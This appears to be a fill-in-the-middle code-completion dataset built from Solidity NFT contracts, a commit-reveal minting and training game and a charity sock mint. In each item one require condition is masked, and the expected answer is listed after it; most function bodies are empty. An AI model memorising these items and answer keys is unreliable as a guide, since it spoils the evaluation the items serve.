uint16 private _commitIdPendingTraining = 0;
// Time from starting a commit batch to allow new commits to enter
uint64 private timePerCommitBatch = 5 minutes;
// Time from starting a commit batch to allow users to reveal these in exchange for $GP
uint64 private timeToAllowArb = 1 hours;
uint16 private pendingMintAmt;
bool public allowCommits = true;
uint256 private revealRewardAmt = 36000 ether;
uint256 private stakingCost = 8000 ether;
// reference to the TrainingGrounds
ITrainingGrounds public trainingGrounds;
// reference to $GP for burning on mint
IGP public gpToken;
// reference to Traits
ITraits public traits;
// reference to NFT collection
IWnD public wndNFT;
// reference to alter collection
ISacrificialAlter public alter;
constructor() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _gp, address _traits, address _wnd, address _alter, address _trainingGrounds) external onlyOwner {
}
/** EXTERNAL */
function getPendingMintCommits(address addr) external view returns (uint16) {
}
function getPendingTrainingCommits(address addr) external view returns (uint16) {
}
function hasStaleMintCommit() external view returns (bool) {
}
function hasStaleTrainingCommit() external view returns (bool) {
}
/** Allow users to reveal the oldest commit for GP. Mints commits must be stale to be able to be revealed this way */
function revealOldestMint() external whenNotPaused {
}
function revealOldestTraining() external whenNotPaused {
require(tx.origin == _msgSender(), "Only EOA");
// Check if the revealable commitId has anything to commit and increment it until it does, or is the same as the current commitId
while(commitQueueTraining[_commitIdPendingTraining].length == 0 && _commitIdPendingTraining < _commitIdCurTraining) {
// Only iterate if the commit pending is empty and behind the current id.
// This is to prevent it from being in front of the current id and missing commits.
_commitIdPendingTraining += 1;
}
// Check if there is a commit in a revealable batch and pop/reveal it
require(<FILL_ME>)
// If the pending batch is old enough to be revealed and has stuff in it, mine one.
TrainingCommit memory commit = commitQueueTraining[_commitIdPendingTraining][commitQueueTraining[_commitIdPendingTraining].length - 1];
commitQueueTraining[_commitIdPendingTraining].pop();
revealTraining(commit);
gpToken.mint(_msgSender(), revealRewardAmt);
}
/** Initiate the start of a mint. This action burns $GP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {
}
function revealMint(MintCommit memory commit) internal {
}
function addToTower(uint16[] calldata tokenIds) external whenNotPaused {
}
function addToTrainingCommit(uint16[] calldata tokenIds) external whenNotPaused {
}
function claimTrainingsCommit(uint16[] calldata tokenIds, bool isUnstaking, bool isTraining) external whenNotPaused {
}
function tryRevealTraining(uint256 amount) internal {
}
function revealTraining(TrainingCommit memory commit) internal {
}
/** Deterministically random. This assumes the call was a part of commit+reveal design
* that disallowed the benefactor of this outcome to make this call */
function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
}
function makeTreasureChests(uint16 qty) external whenNotPaused {
}
function sellTreasureChests(uint16 qty) external whenNotPaused {
}
/** INTERNAL */
/**
* the first 25% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked dragon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Dragon thief's owner)
*/
function selectRecipient(uint256 seed, address committer) internal view returns (address) {
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
}
function setMaxGpCost(uint256 _amount) external requireContractsSet onlyOwner {
}
function setAllowCommits(bool allowed) external onlyOwner {
}
function setRevealRewardAmt(uint256 rewardAmt) external onlyOwner {
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
}
}
| commitIdStartTimeTraining[_commitIdPendingTraining]<block.timestamp-timeToAllowArb&&commitQueueTraining[_commitIdPendingTraining].length>0,"No stale commits to reveal" | 340,837 | commitIdStartTimeTraining[_commitIdPendingTraining]<block.timestamp-timeToAllowArb&&commitQueueTraining[_commitIdPendingTraining].length>0 |
"All tokens minted" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IGP.sol";
import "./interfaces/IWnD.sol";
import "./interfaces/ISacrificialAlter.sol";
import "hardhat/console.sol";
contract WnDGameTG is IWnDGame, Ownable, ReentrancyGuard, Pausable {
struct MintCommit {
address recipient;
bool stake;
uint16 amount;
}
struct TrainingCommit {
address tokenOwner;
uint16 tokenId;
bool isAdding; // If false, the commit is for claiming rewards
bool isUnstaking; // If !isAdding, this will determine if user is unstaking
bool isTraining; // If !isAdding, this will define where the staked token is (only necessary for wizards)
}
uint256 public constant TREASURE_CHEST = 5;
// max $GP cost
uint256 private maxGpCost = 72000 ether;
/** =========== MINTING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => MintCommit[]) private commitQueueMints;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeMints;
mapping(address => uint16) private pendingMintCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurMints = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingMints = 0;
/** =========== TRAINING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => TrainingCommit[]) private commitQueueTraining;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeTraining;
mapping(address => uint16) private pendingTrainingCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurTraining = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingTraining = 0;
// Time from starting a commit batch to allow new commits to enter
uint64 private timePerCommitBatch = 5 minutes;
// Time from starting a commit batch to allow users to reveal these in exchange for $GP
uint64 private timeToAllowArb = 1 hours;
uint16 private pendingMintAmt;
bool public allowCommits = true;
uint256 private revealRewardAmt = 36000 ether;
uint256 private stakingCost = 8000 ether;
// reference to the TrainingGrounds
ITrainingGrounds public trainingGrounds;
// reference to $GP for burning on mint
IGP public gpToken;
// reference to Traits
ITraits public traits;
// reference to NFT collection
IWnD public wndNFT;
// reference to alter collection
ISacrificialAlter public alter;
constructor() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _gp, address _traits, address _wnd, address _alter, address _trainingGrounds) external onlyOwner {
}
/** EXTERNAL */
function getPendingMintCommits(address addr) external view returns (uint16) {
}
function getPendingTrainingCommits(address addr) external view returns (uint16) {
}
function hasStaleMintCommit() external view returns (bool) {
}
function hasStaleTrainingCommit() external view returns (bool) {
}
/** Allow users to reveal the oldest commit for GP. Mints commits must be stale to be able to be revealed this way */
function revealOldestMint() external whenNotPaused {
}
function revealOldestTraining() external whenNotPaused {
}
/** Initiate the start of a mint. This action burns $GP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {
require(allowCommits, "adding commits disallowed");
require(tx.origin == _msgSender(), "Only EOA");
uint16 minted = wndNFT.minted();
uint256 maxTokens = wndNFT.getMaxTokens();
require(<FILL_ME>)
require(amount > 0 && amount <= 10, "Invalid mint amount");
if(commitIdStartTimeMints[_commitIdCurMints] == 0) {
commitIdStartTimeMints[_commitIdCurMints] = block.timestamp;
}
// Check if current commit batch is past the threshold for time and increment commitId if so
if(commitIdStartTimeMints[_commitIdCurMints] < block.timestamp - timePerCommitBatch) {
// increment commitId to start a new batch
_commitIdCurMints += 1;
commitIdStartTimeMints[_commitIdCurMints] = block.timestamp;
}
// Add this mint request to the commit queue for the current commitId
uint256 totalGpCost = 0;
// Loop through the amount of
for (uint i = 1; i <= amount; i++) {
// Add N number of commits to the queue. This is so people reveal the same number of commits as they added.
commitQueueMints[_commitIdCurMints].push(MintCommit(_msgSender(), stake, 1));
totalGpCost += mintCost(minted + pendingMintAmt + i, maxTokens);
}
if (totalGpCost > 0) {
gpToken.burn(_msgSender(), totalGpCost);
gpToken.updateOriginAccess();
}
uint16 amt = uint16(amount);
pendingMintCommitsForAddr[_msgSender()] += amt;
pendingMintAmt += amt;
// Check if the revealable commitId has anything to commit and increment it until it does, or is the same as the current commitId
while(commitQueueMints[_commitIdPendingMints].length == 0 && _commitIdPendingMints < _commitIdCurMints) {
// Only iterate if the commit pending is empty and behind the current id.
// This is to prevent it from being in front of the current id and missing commits.
_commitIdPendingMints += 1;
}
// Check if there is a commit in a revealable batch and pop/reveal it
if(commitIdStartTimeMints[_commitIdPendingMints] < block.timestamp - timePerCommitBatch && commitQueueMints[_commitIdPendingMints].length > 0) {
// If the pending batch is old enough to be revealed and has stuff in it, mine the number that was added to the queue.
for (uint256 i = 0; i < amount; i++) {
// First iteration is guaranteed to have 1 commit to mine, so we can always retroactively check that we can continue to reveal after
MintCommit memory commit = commitQueueMints[_commitIdPendingMints][commitQueueMints[_commitIdPendingMints].length - 1];
commitQueueMints[_commitIdPendingMints].pop();
revealMint(commit);
// Check to see if we are able to continue mining commits
if(commitQueueMints[_commitIdPendingMints].length == 0 && _commitIdPendingMints < _commitIdCurMints) {
_commitIdPendingMints += 1;
if(commitIdStartTimeMints[_commitIdPendingMints] > block.timestamp - timePerCommitBatch
|| commitQueueMints[_commitIdPendingMints].length == 0
|| _commitIdPendingMints == _commitIdCurMints)
{
// If there are no more commits to reveal, exit
break;
}
}
}
}
}
function revealMint(MintCommit memory commit) internal {
}
function addToTower(uint16[] calldata tokenIds) external whenNotPaused {
}
function addToTrainingCommit(uint16[] calldata tokenIds) external whenNotPaused {
}
function claimTrainingsCommit(uint16[] calldata tokenIds, bool isUnstaking, bool isTraining) external whenNotPaused {
}
function tryRevealTraining(uint256 amount) internal {
}
function revealTraining(TrainingCommit memory commit) internal {
}
/** Deterministically random. This assumes the call was a part of commit+reveal design
* that disallowed the benefactor of this outcome to make this call */
function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
}
function makeTreasureChests(uint16 qty) external whenNotPaused {
}
function sellTreasureChests(uint16 qty) external whenNotPaused {
}
/** INTERNAL */
/**
* the first 25% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked dragon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Dragon thief's owner)
*/
function selectRecipient(uint256 seed, address committer) internal view returns (address) {
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
}
function setMaxGpCost(uint256 _amount) external requireContractsSet onlyOwner {
}
function setAllowCommits(bool allowed) external onlyOwner {
}
function setRevealRewardAmt(uint256 rewardAmt) external onlyOwner {
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
}
}
| minted+pendingMintAmt+amount<=maxTokens,"All tokens minted" | 340,837 | minted+pendingMintAmt+amount<=maxTokens |
"not your token" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IGP.sol";
import "./interfaces/IWnD.sol";
import "./interfaces/ISacrificialAlter.sol";
import "hardhat/console.sol";
contract WnDGameTG is IWnDGame, Ownable, ReentrancyGuard, Pausable {
struct MintCommit {
address recipient;
bool stake;
uint16 amount;
}
struct TrainingCommit {
address tokenOwner;
uint16 tokenId;
bool isAdding; // If false, the commit is for claiming rewards
bool isUnstaking; // If !isAdding, this will determine if user is unstaking
bool isTraining; // If !isAdding, this will define where the staked token is (only necessary for wizards)
}
uint256 public constant TREASURE_CHEST = 5;
// max $GP cost
uint256 private maxGpCost = 72000 ether;
/** =========== MINTING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => MintCommit[]) private commitQueueMints;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeMints;
mapping(address => uint16) private pendingMintCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurMints = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingMints = 0;
/** =========== TRAINING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => TrainingCommit[]) private commitQueueTraining;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeTraining;
mapping(address => uint16) private pendingTrainingCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurTraining = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingTraining = 0;
// Time from starting a commit batch to allow new commits to enter
uint64 private timePerCommitBatch = 5 minutes;
// Time from starting a commit batch to allow users to reveal these in exchange for $GP
uint64 private timeToAllowArb = 1 hours;
uint16 private pendingMintAmt;
bool public allowCommits = true;
uint256 private revealRewardAmt = 36000 ether;
uint256 private stakingCost = 8000 ether;
// reference to the TrainingGrounds
ITrainingGrounds public trainingGrounds;
// reference to $GP for burning on mint
IGP public gpToken;
// reference to Traits
ITraits public traits;
// reference to NFT collection
IWnD public wndNFT;
// reference to alter collection
ISacrificialAlter public alter;
constructor() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _gp, address _traits, address _wnd, address _alter, address _trainingGrounds) external onlyOwner {
}
/** EXTERNAL */
function getPendingMintCommits(address addr) external view returns (uint16) {
}
function getPendingTrainingCommits(address addr) external view returns (uint16) {
}
function hasStaleMintCommit() external view returns (bool) {
}
function hasStaleTrainingCommit() external view returns (bool) {
}
/** Allow users to reveal the oldest commit for GP. Mints commits must be stale to be able to be revealed this way */
function revealOldestMint() external whenNotPaused {
}
function revealOldestTraining() external whenNotPaused {
}
/** Initiate the start of a mint. This action burns $GP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {
}
function revealMint(MintCommit memory commit) internal {
}
function addToTower(uint16[] calldata tokenIds) external whenNotPaused {
}
function addToTrainingCommit(uint16[] calldata tokenIds) external whenNotPaused {
require(allowCommits, "adding commits disallowed");
require(tx.origin == _msgSender(), "Only EOA");
if(commitIdStartTimeTraining[_commitIdCurTraining] == 0) {
commitIdStartTimeTraining[_commitIdCurTraining] = block.timestamp;
}
// Check if current commit batch is past the threshold for time and increment commitId if so
if(commitIdStartTimeTraining[_commitIdCurTraining] < block.timestamp - timePerCommitBatch) {
// increment commitId to start a new batch
_commitIdCurTraining += 1;
commitIdStartTimeTraining[_commitIdCurTraining] = block.timestamp;
}
// Loop through the amount of tokens being added
for (uint i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
// Add N number of commits to the queue. This is so people reveal the same number of commits as they added.
commitQueueTraining[_commitIdCurTraining].push(TrainingCommit(_msgSender(), tokenIds[i], true, false, true));
}
gpToken.burn(_msgSender(), stakingCost * tokenIds.length);
gpToken.updateOriginAccess();
pendingTrainingCommitsForAddr[_msgSender()] += uint16(tokenIds.length);
tryRevealTraining(tokenIds.length);
}
function claimTrainingsCommit(uint16[] calldata tokenIds, bool isUnstaking, bool isTraining) external whenNotPaused {
}
function tryRevealTraining(uint256 amount) internal {
}
function revealTraining(TrainingCommit memory commit) internal {
}
/** Deterministically random. This assumes the call was a part of commit+reveal design
* that disallowed the benefactor of this outcome to make this call */
function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
}
function makeTreasureChests(uint16 qty) external whenNotPaused {
}
function sellTreasureChests(uint16 qty) external whenNotPaused {
}
/** INTERNAL */
/**
* the first 25% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked dragon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Dragon thief's owner)
*/
function selectRecipient(uint256 seed, address committer) internal view returns (address) {
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
}
function setMaxGpCost(uint256 _amount) external requireContractsSet onlyOwner {
}
function setAllowCommits(bool allowed) external onlyOwner {
}
function setRevealRewardAmt(uint256 rewardAmt) external onlyOwner {
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
}
}
| _msgSender()==wndNFT.ownerOf(tokenIds[i]),"not your token" | 340,837 | _msgSender()==wndNFT.ownerOf(tokenIds[i]) |
"Token not in staking pool" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IGP.sol";
import "./interfaces/IWnD.sol";
import "./interfaces/ISacrificialAlter.sol";
import "hardhat/console.sol";
contract WnDGameTG is IWnDGame, Ownable, ReentrancyGuard, Pausable {
struct MintCommit {
address recipient;
bool stake;
uint16 amount;
}
struct TrainingCommit {
address tokenOwner;
uint16 tokenId;
bool isAdding; // If false, the commit is for claiming rewards
bool isUnstaking; // If !isAdding, this will determine if user is unstaking
bool isTraining; // If !isAdding, this will define where the staked token is (only necessary for wizards)
}
uint256 public constant TREASURE_CHEST = 5;
// max $GP cost
uint256 private maxGpCost = 72000 ether;
/** =========== MINTING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => MintCommit[]) private commitQueueMints;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeMints;
mapping(address => uint16) private pendingMintCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurMints = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingMints = 0;
/** =========== TRAINING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => TrainingCommit[]) private commitQueueTraining;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeTraining;
mapping(address => uint16) private pendingTrainingCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurTraining = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingTraining = 0;
// Time from starting a commit batch to allow new commits to enter
uint64 private timePerCommitBatch = 5 minutes;
// Time from starting a commit batch to allow users to reveal these in exchange for $GP
uint64 private timeToAllowArb = 1 hours;
uint16 private pendingMintAmt;
bool public allowCommits = true;
uint256 private revealRewardAmt = 36000 ether;
uint256 private stakingCost = 8000 ether;
// reference to the TrainingGrounds
ITrainingGrounds public trainingGrounds;
// reference to $GP for burning on mint
IGP public gpToken;
// reference to Traits
ITraits public traits;
// reference to NFT collection
IWnD public wndNFT;
// reference to alter collection
ISacrificialAlter public alter;
constructor() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _gp, address _traits, address _wnd, address _alter, address _trainingGrounds) external onlyOwner {
}
/** EXTERNAL */
function getPendingMintCommits(address addr) external view returns (uint16) {
}
function getPendingTrainingCommits(address addr) external view returns (uint16) {
}
function hasStaleMintCommit() external view returns (bool) {
}
function hasStaleTrainingCommit() external view returns (bool) {
}
/** Allow users to reveal the oldest commit for GP. Mints commits must be stale to be able to be revealed this way */
function revealOldestMint() external whenNotPaused {
}
function revealOldestTraining() external whenNotPaused {
}
/** Initiate the start of a mint. This action burns $GP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {
}
function revealMint(MintCommit memory commit) internal {
}
function addToTower(uint16[] calldata tokenIds) external whenNotPaused {
}
function addToTrainingCommit(uint16[] calldata tokenIds) external whenNotPaused {
}
function claimTrainingsCommit(uint16[] calldata tokenIds, bool isUnstaking, bool isTraining) external whenNotPaused {
require(allowCommits, "adding commits disallowed");
require(tx.origin == _msgSender(), "Only EOA");
if(commitIdStartTimeTraining[_commitIdCurTraining] == 0) {
commitIdStartTimeTraining[_commitIdCurTraining] = block.timestamp;
}
// Check if current commit batch is past the threshold for time and increment commitId if so
if(commitIdStartTimeTraining[_commitIdCurTraining] < block.timestamp - timePerCommitBatch) {
// increment commitId to start a new batch
_commitIdCurTraining += 1;
commitIdStartTimeTraining[_commitIdCurTraining] = block.timestamp;
}
// Loop through the amount of tokens being added
for (uint i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
// Add N number of commits to the queue. This is so people reveal the same number of commits as they added.
commitQueueTraining[_commitIdCurTraining].push(TrainingCommit(_msgSender(), tokenIds[i], false, isUnstaking, isTraining));
}
gpToken.burn(_msgSender(), stakingCost * tokenIds.length);
gpToken.updateOriginAccess();
pendingTrainingCommitsForAddr[_msgSender()] += uint16(tokenIds.length);
tryRevealTraining(tokenIds.length);
}
function tryRevealTraining(uint256 amount) internal {
}
function revealTraining(TrainingCommit memory commit) internal {
}
/** Deterministically random. This assumes the call was a part of commit+reveal design
* that disallowed the benefactor of this outcome to make this call */
function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
}
function makeTreasureChests(uint16 qty) external whenNotPaused {
}
function sellTreasureChests(uint16 qty) external whenNotPaused {
}
/** INTERNAL */
/**
* the first 25% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked dragon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Dragon thief's owner)
*/
function selectRecipient(uint256 seed, address committer) internal view returns (address) {
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
}
function setMaxGpCost(uint256 _amount) external requireContractsSet onlyOwner {
}
function setAllowCommits(bool allowed) external onlyOwner {
}
function setRevealRewardAmt(uint256 rewardAmt) external onlyOwner {
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
}
}
| trainingGrounds.isTokenStaked(tokenIds[i],isTraining)&&trainingGrounds.ownsToken(tokenIds[i]),"Token not in staking pool" | 340,837 | trainingGrounds.isTokenStaked(tokenIds[i],isTraining)&&trainingGrounds.ownsToken(tokenIds[i]) |
"address isn't a contract." | pragma solidity ^0.8.7;
// interfaces for ENS resolving
interface ENS {
function resolver(bytes32 node) external view returns (Resolver);
}
interface Resolver {
function addr(bytes32 node) external view returns (address);
}
contract Socks is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 public constant PRICE = 0.01 ether; // price is 0.01 ether.
uint256 public constant MAX_SUPPLY = 2500;
uint256 public constant WHITELIST_SUPPLY = 1500;
// this is the ENS name hash of "socks.basicneeds.eth"
bytes32 public immutable namehash;
// keeps track of the current total supply.
uint256 public totalSupply;
// the max supply - set after
uint256 public maxSupply = MAX_SUPPLY;
// the base uri for the token
string public baseURI;
// the citizen contract
address private _citizenContract;
uint private _whitelistMinted;
bool public revealed = false;
// the ens service
ENS private ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
enum MintState {
PUBLIC,
WHITELIST,
CLOSED
}
// the state of whether minting is allowed.
MintState private mintingState = MintState.CLOSED;
constructor(bytes32 _namehash) ERC721("Charity Socks", "SOCKS") {
}
// owner can only reveal socks, they cannot
function reveal() external onlyOwner {
}
function setCitizenContract(address addr) external onlyOwner {
require(<FILL_ME>)
_citizenContract = addr;
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
modifier mintOpen() {
}
modifier whitelistOnly() {
}
function ownerMint(uint256 amount) external onlyOwner {
}
function mint(uint256 amount) external payable nonReentrant mintOpen {
}
function _mint(uint256 amount, bool whitelisted) private {
}
// toggles the state of mint
function setMintingState(MintState state) external onlyOwner {
}
}
| addr.isContract(),"address isn't a contract." | 340,858 | addr.isContract() |
"mint amount would be out of range." | pragma solidity ^0.8.7;
// interfaces for ENS resolving
interface ENS {
function resolver(bytes32 node) external view returns (Resolver);
}
interface Resolver {
function addr(bytes32 node) external view returns (address);
}
contract Socks is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 public constant PRICE = 0.01 ether; // price is 0.01 ether.
uint256 public constant MAX_SUPPLY = 2500;
uint256 public constant WHITELIST_SUPPLY = 1500;
// this is the ENS name hash of "socks.basicneeds.eth"
bytes32 public immutable namehash;
// keeps track of the current total supply.
uint256 public totalSupply;
// the max supply - set after
uint256 public maxSupply = MAX_SUPPLY;
// the base uri for the token
string public baseURI;
// the citizen contract
address private _citizenContract;
uint private _whitelistMinted;
bool public revealed = false;
// the ens service
ENS private ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
enum MintState {
PUBLIC,
WHITELIST,
CLOSED
}
// the state of whether minting is allowed.
MintState private mintingState = MintState.CLOSED;
constructor(bytes32 _namehash) ERC721("Charity Socks", "SOCKS") {
}
// owner can only reveal socks, they cannot
function reveal() external onlyOwner {
}
function setCitizenContract(address addr) external onlyOwner {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
modifier mintOpen() {
}
modifier whitelistOnly() {
}
function ownerMint(uint256 amount) external onlyOwner {
// ensure minting the amount entered would not mint over the max supply
require(<FILL_ME>)
for (uint256 i = totalSupply; i < totalSupply + amount; ++i) {
_safeMint(_msgSender(), i + 1);
}
totalSupply += amount;
}
function mint(uint256 amount) external payable nonReentrant mintOpen {
}
function _mint(uint256 amount, bool whitelisted) private {
}
// toggles the state of mint
function setMintingState(MintState state) external onlyOwner {
}
}
| totalSupply+amount<uint256(maxSupply),"mint amount would be out of range." | 340,858 | totalSupply+amount<uint256(maxSupply) |
"not a citizen!" | pragma solidity ^0.8.7;
// interfaces for ENS resolving
interface ENS {
function resolver(bytes32 node) external view returns (Resolver);
}
interface Resolver {
function addr(bytes32 node) external view returns (address);
}
contract Socks is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 public constant PRICE = 0.01 ether; // price is 0.01 ether.
uint256 public constant MAX_SUPPLY = 2500;
uint256 public constant WHITELIST_SUPPLY = 1500;
// this is the ENS name hash of "socks.basicneeds.eth"
bytes32 public immutable namehash;
// keeps track of the current total supply.
uint256 public totalSupply;
// the max supply - set after
uint256 public maxSupply = MAX_SUPPLY;
// the base uri for the token
string public baseURI;
// the citizen contract
address private _citizenContract;
uint private _whitelistMinted;
bool public revealed = false;
// the ens service
ENS private ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
enum MintState {
PUBLIC,
WHITELIST,
CLOSED
}
// the state of whether minting is allowed.
MintState private mintingState = MintState.CLOSED;
constructor(bytes32 _namehash) ERC721("Charity Socks", "SOCKS") {
}
// owner can only reveal socks, they cannot
function reveal() external onlyOwner {
}
function setCitizenContract(address addr) external onlyOwner {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
modifier mintOpen() {
}
modifier whitelistOnly() {
}
function ownerMint(uint256 amount) external onlyOwner {
}
function mint(uint256 amount) external payable nonReentrant mintOpen {
if (mintingState == MintState.WHITELIST) {
require(<FILL_ME>)
require(_whitelistMinted < 1500, "whitelist sold out!");
}
// ensure minting the amount entered would not mint over the max supply
require(
totalSupply + amount < uint256(maxSupply),
"mint amount would be out of range."
);
// ensure enough ether was sent - don't allow for overpayment
require(msg.value == amount * PRICE, "not enough ether sent");
_mint(amount, mintingState == MintState.WHITELIST);
}
function _mint(uint256 amount, bool whitelisted) private {
}
// toggles the state of mint
function setMintingState(MintState state) external onlyOwner {
}
}
